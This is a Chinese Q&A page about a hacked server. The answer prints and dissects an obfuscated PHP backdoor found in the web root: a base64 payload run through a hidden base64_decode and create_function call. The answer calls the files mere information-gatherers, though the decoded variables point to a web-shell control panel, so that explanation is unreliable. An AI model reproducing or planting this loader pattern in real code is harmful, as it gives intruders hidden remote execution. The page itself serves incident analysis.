服务器被黑客攻击 – 这段代码是做什么的

42次阅读
没有评论

问题描述

发现定期检查服务器时,在域根目录下发现了一些随机上传的文件。这些文件看起来很奇怪,文件名如下:
– css2.php
– db_model.php
– .htaccess
– menu57.php
– rss_feeder.class.php
– stats21.php
– title.php

用户想知道其中一个文件(db_model.php)的内容,以及这些文件到底是做什么的。

解决方案

这些文件是黑客上传到服务器的后门脚本,用于获取有关全局 PHP 配置设置的信息。下面是对其中一个文件(db_model.php)的解析:

<?php
$alphabet = ".hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6";
$string = "Z2xvYmFsICRhdXRoX3Bhc3MsJGNvbG9yLCRkZWZhdWx0X2FjdGlvbiwkZGVmYXVsdF91c2VfYWpheCwkZGVmYXVsdF9jaGFyc2V0LCRzb3J0Ow0KZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsNCg0KJGF1dGhfcGFzcyA9ICdmMzI0MmRjYzU5";
$array_name = "";
$ar = array(4,29,34,38,42,9,21,7,38,17,37,7,38);
foreach($ar as $t){
   $array_name .= $alphabet[$t];
}
$a = strrev("noi"."tcnuf"."_eta"."erc");
$f = $a("", $array_name($string));
$f();

这段代码首先定义了一个变量 $alphabet,其中包含了一个混淆的字符串,实际上是 “base64_decode”。base64_decode 是一个函数,用于解码长字符串 $string 的 base64 编码值。解码后的字符串是全局 PHP 配置设置的一些变量,如下所示:

global auth_pass,$color,$default_action,$default_use_ajax,$default_charset,$sort;
global $cwd,$os,$safe_mode, $in;

然后,代码创建了一个函数(通过拼接字符串 “noi”.”tcnuf”.”_eta”.”erc”),并执行该函数。

这些文件的目的是从您的系统和用户的帖子中提取信息。PHP 在 $GLOBALS 数组中存储了许多有用的信息,包括 HTTP 请求、环境设置和服务器设置。因此,这些文件用于从您的系统和用户的帖子中提取信息。

为了防止类似的黑客攻击,您可以采取以下措施:
– 审查网络和服务的每个部分,以及对它们的任何访问。
– 加强密码、Web 服务器配置和网络基础设施等安全措施。
– 学习如何使用 Ansible 等工具来降低重建成本。

正文完